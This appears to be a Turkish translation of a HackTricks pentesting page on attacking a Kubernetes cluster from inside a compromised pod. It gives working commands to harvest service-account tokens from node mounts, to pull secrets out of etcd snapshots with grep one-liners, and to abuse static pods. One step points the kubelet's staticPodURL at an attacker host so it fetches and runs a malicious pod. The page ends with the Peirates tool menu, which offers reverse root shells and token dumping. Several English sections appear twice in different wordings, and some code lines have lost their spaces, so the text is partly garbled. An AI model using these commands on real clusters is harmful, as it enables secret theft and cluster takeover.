Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
Genellikle pod'lar içinde bir hizmet hesabı belirteci çalıştırılır. Bu hizmet hesabı, kötüye kullanabileceğiniz bazı yetkilere sahip olabilir, diğer pod'lara veya hatta küme içinde yapılandırılmış düğümlere geçmek için bunları kötüye kullanabilirsiniz. Nasıl yapılacağını kontrol edin:
Pod bir bulut ortamında çalıştırılıyorsa, metadata uç noktasından bir belirteç sızdırabilir ve bunu kullanarak yetkileri yükseltebilirsiniz.
Zayıf Ağ Hizmetlerini Arayın
Kubernetes ortamında olduğunuz için, mevcut pod'un yetkilerini kötüye kullanarak yetkileri yükseltemiyorsanız ve konteynerden kaçamıyorsanız, potansiyel zayıf hizmetleri aramalısınız.
Hizmetler
Bu amaçla, kubernetes ortamındaki tüm hizmetleri almayı deneyebilirsiniz:
kubectl get svc --all-namespaces
Varsayılan olarak, Kubernetes düz bir ağ şeması kullanır, bu da küme içindeki herhangi bir pod/servisin birbirleriyle iletişim kurabileceği anlamına gelir. Küme içindeki ad alanları varsayılan olarak herhangi bir ağ güvenliği kısıtlamasına sahip değildir. Ad alanındaki herkes diğer ad alanlarıyla iletişim kurabilir.
Eğer kompromize edilmiş pod hassas bir servis çalıştırıyorsa ve diğer pod'ların kimlik doğrulaması yapması gerekiyorsa, diğer pod'lardan gelen kimlik bilgilerini yerel iletişimi dinleyerek elde edebilirsiniz.
Network Spoofing
Varsayılan olarak ARP spoofing gibi teknikler (ve buna bağlı olarak DNS Spoofing) Kubernetes ağında çalışır. Sonra, bir pod içinde, NET_RAW yeteneğine sahipseniz (bu varsayılan olarak mevcuttur), özel oluşturulmuş ağ paketleri gönderebilir ve aynı düğümde çalışan tüm pod'lara ARP Spoofing aracılığıyla MitM saldırıları gerçekleştirebilirsiniz.
Dahası, eğer zararlı pod DNS Sunucusu ile aynı düğümde çalışıyorsa, tüm kümedeki pod'lara DNS Spoofing saldırısı gerçekleştirebilirsiniz.
Kubernetes belgelerinde kaynakların belirtilmediği ve konteynerler için uygulanmamış sınırların olmadığı belirtilmemiştir. Bir saldırgan olarak, pod/deployment'ın çalıştığı kaynakları tüketebiliriz ve diğer kaynakları tüketerek ortam için bir DoS oluşturabiliriz.
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
The script can-they.sh will automatically get the tokens of other pods and check if they have the permission you are looking for (instead of you looking 1 by 1):
Bir DaemonSet, kümenin tüm düğümlerinde çalışacak olan bir pod'dur. Dolayısıyla, bir DaemonSet, ayrıcalıklı bir hizmet hesabıyla yapılandırılmışsa,TÜM düğümlerde o ayrıcalıklı hizmet hesabının belirteçini bulabileceksiniz ve bunu istismar edebileceksiniz.
Saldırı, önceki bölümde olduğu gibi aynıdır, ancak artık şansa bağlı değilsiniz.
Buluta Geçiş Yapma
Küme bir bulut hizmeti tarafından yönetiliyorsa, genellikle Düğümün Pod'dan farklı bir erişimi olacaktır. Bu nedenle, düğümden metadata uç noktasına erişmeye çalışın (veya hostNetwork'ü True olan bir pod'dan):
Eğer konteynerı çalıştıracak olan Düğümün nodeName'ini belirtebiliyorsanız, bir kontrol düğümü içinde bir kabuk alın ve etcd veritabanını alın:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
Kontrol düğümleri ana bilgisayar rolüne sahiptir ve bulut yönetimli kümelerde bunlarda herhangi bir şey çalıştıramazsınız.
Etcd'den sırları okuyun
Pod özelliklerinde nodeName seçicisini kullanarak pod'unuzu bir kontrol düğümünde çalıştırabiliyorsanız, etcd veritabanına kolayca erişebilirsiniz. Bu veritabanı, tüm yapılandırmaları ve tüm sırları içeren küme için tüm yapılandırmaları içerir.
Aşağıda, üzerinde çalıştığınız kontrol düğümünde çalışıyorsa etcd veritabanından sırları almanın hızlı ve kirli bir yolunu bulabilirsiniz. Eğer etcd istemcisini etcdctl ile kullanan ve kontrol düğümü düğümünün kimlik bilgilerini kullanarak nerede çalışıyor olursa olsun etcd'ye bağlanan daha zarif bir çözüm isterseniz, @mauilion'un bu örnek manifestosuna göz atın.
Kontrol düğümünde etcd'nin çalışıp çalışmadığını ve veritabanının nerede olduğunu kontrol edin (Bu, bir kubeadm oluşturulan kümede bulunmaktadır)
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. This section covers various techniques an attacker can use to escalate privileges and move laterally within the cluster.
### Escalating Privileges#### Accessing the Kubernetes APIIf the pod has a service account token mounted, the attacker can use it to access the Kubernetes API and perform actions based on the permissions associated with that service account.
#### Exploiting Kubernetes RBACIf the pod has excessive permissions assigned via Role-Based Access Control (RBAC), the attacker can abuse these permissions to perform unauthorized actions within the cluster.
### Moving Laterally#### Port ForwardingThe attacker can use port forwarding to access services running on other pods within the cluster, allowing them to interact with those services as if they were running on their local machine.
#### Pod to Pod CommunicationBy leveraging the Kubernetes DNS service, the attacker can communicate with other pods directly, potentially exfiltrating data or performing further attacks.
### ConclusionSecuring Kubernetes pods is crucial to prevent attackers from moving laterally within the cluster and escalating privileges. Regularly auditing and updating RBAC permissions, restricting service account access, and monitoring pod-to-pod communication are essential steps to enhance Kubernetes security.
data-dir=/var/lib/etcd
etcd veritabanındaki verileri görüntüle:
strings/var/lib/etcd/member/snap/db|less
Veritabanından tokenleri çıkarın ve servis hesabı adını gösterin
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Aynı komut, ancak yalnızca kube-system ad alanındaki varsayılan belirteci döndürmek için bazı grepler
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, they are in a privileged position to perform further attacks within the cluster. This section outlines some common techniques attackers can use to escalate privileges and move laterally within a Kubernetes cluster from inside a compromised pod.
### Privilege Escalation#### Exploiting Misconfigured RBAC RolesAttackers can abuse misconfigured Role-Based Access Control (RBAC) roles to gain higher privileges within the cluster. By modifying existing roles or creating new ones, attackers can grant themselves additional permissions to perform malicious actions.
#### Accessing the Kubernetes API ServerOnce inside a pod, attackers can attempt to access the Kubernetes API server using tools like `kubectl` or client libraries. If the pod's service account has sufficient permissions, attackers can interact with the API server to gather information about the cluster or perform actions on other resources.
### Lateral Movement#### Pod HoppingAttackers can move laterally within the cluster by compromising multiple pods. By exploiting vulnerabilities or misconfigurations in other pods, attackers can pivot from one pod to another, gradually expanding their control over the cluster.
#### Service Account CompromiseIf an attacker can compromise a pod's service account token, they can impersonate the account and access other resources within the cluster that the account has permissions for. This can allow the attacker to move laterally and escalate privileges further.
### ConclusionSecuring Kubernetes clusters requires not only protecting the external attack surface but also monitoring and securing internal components like pods. By understanding common attack techniques from inside a pod, defenders can better protect their clusters against malicious actors.
Static Pods, API sunucusunun onları gözlemlememesi durumunda belirli bir düğümde kubelet daemonu tarafından doğrudan yönetilen podlardır. Kontrol düzlemi tarafından yönetilen Pod'ların aksine (örneğin, bir Dağıtım); kubelet her statik Pod'u izler (ve başarısız olursa yeniden başlatır).
Bu nedenle, statik Pod'lar her zaman belirli bir düğümdeki bir Kubelet'e bağlıdır.
Kubelet otomatik olarak her statik Pod için Kubernetes API sunucusunda bir ayna Pod oluşturmaya çalışır. Bu, bir düğümde çalışan Pod'ların API sunucusunda görünür olduğu, ancak oradan kontrol edilemediği anlamına gelir. Pod adları, başında bir tire ile düğüm ana bilgisayar adıyla eklenir.
Bir statik Pod'un spec'i diğer API nesnelerine (örneğin, ServiceAccount, ConfigMap, Secret, vb.) atıfta bulunamaz. Bu nedenle, mevcut düğümde keyfi bir serviceAccount ile bir pod başlatmak için bu davranışı kötüye kullanamazsınız. Ancak bunu kullanarak farklı ad alanlarında pod'ları çalıştırabilirsiniz (bu bazı nedenlerle faydalı olabilir).
Eğer düğüm ana bilgisayar içindeyseniz, kendi içinde bir statik pod oluşturmasını sağlayabilirsiniz. Bu oldukça faydalı olabilir çünkü size kube-system gibi farklı bir ad alanında pod oluşturma imkanı verebilir.
--pod-manifest-path=/etc/kubernetes/manifests parametresini kubelet servisinde veya kubelet yapılandırmasında (staticPodPath) yapılandırın ve servisi yeniden başlatın
/etc/kubernetes/manifests içinde pod tanımı oluşturun
Daha gizli bir yol şöyle olabilir:
kubelet yapılandırma dosyasındaki staticPodURL parametresini değiştirin ve staticPodURL: http://saldırgan.com:8765/pod.yaml gibi bir şey ayarlayın. Bu, kubelet işleminin belirtilen URL'den yapılandırmayı alarak bir statik pod oluşturmasını sağlayacaktır.
Örnek olarak, kube-system içinde bir ayrıcalıklı pod oluşturmak için pod yapılandırması buradan alınmıştır:
Bir saldırgan bir düğümü ele geçirdiyse ve diğer düğümlerden podları silebiliyorsa ve diğer düğümlerin podları çalıştıramayacak şekilde yapabiliyorsa, podlar ele geçirilmiş düğümde yeniden çalıştırılacak ve içlerinde çalışan token'ları çalabilecektir.
Daha fazla bilgi için bu bağlantıları takip edin.
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
